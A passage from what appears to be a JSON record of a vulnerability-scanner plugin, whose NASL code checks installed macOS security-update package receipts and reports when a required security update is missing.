exit_code:1);\nsec_boms_report = pgrep(\n pattern:\"^com\\.apple\\.pkg\\.update\\.(security\\.|os\\.SecUpd).*bom$\",\n string:packages\n);\nsec_boms = split(sec_boms_report, sep:'\\n');\n\nforeach package (sec_boms)\n{\n # Grab patch year and number\n matches = pregmatch(pattern:\"[^0-9](20[0-9][0-9])[-.]([0-9]{3})[^0-9]\", string:package);\n if (empty_or_null(matches)) continue;\n if (empty_or_null(matches[1]) || empty_or_null(matches[2]))\n continue;\n\n patch_found = check_patch(year:int(matches[1]), number:int(matches[2]));\n if (patch_found) exit(0, \"The host has Security Update \" + patch + \" or later installed and is therefore not affected.\");\n}\n\nreport = '\\n Missing security update : ' + patch;\nreport += '\\n Installed security BOMs : ';\nif (sec_boms_report) report += str_replace(find:'\\n', replace:'\\n ', string:sec_boms_report);\nelse report += 'n/a';\nreport += '\\n';\n\nsecurity_report_v4(port:0, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}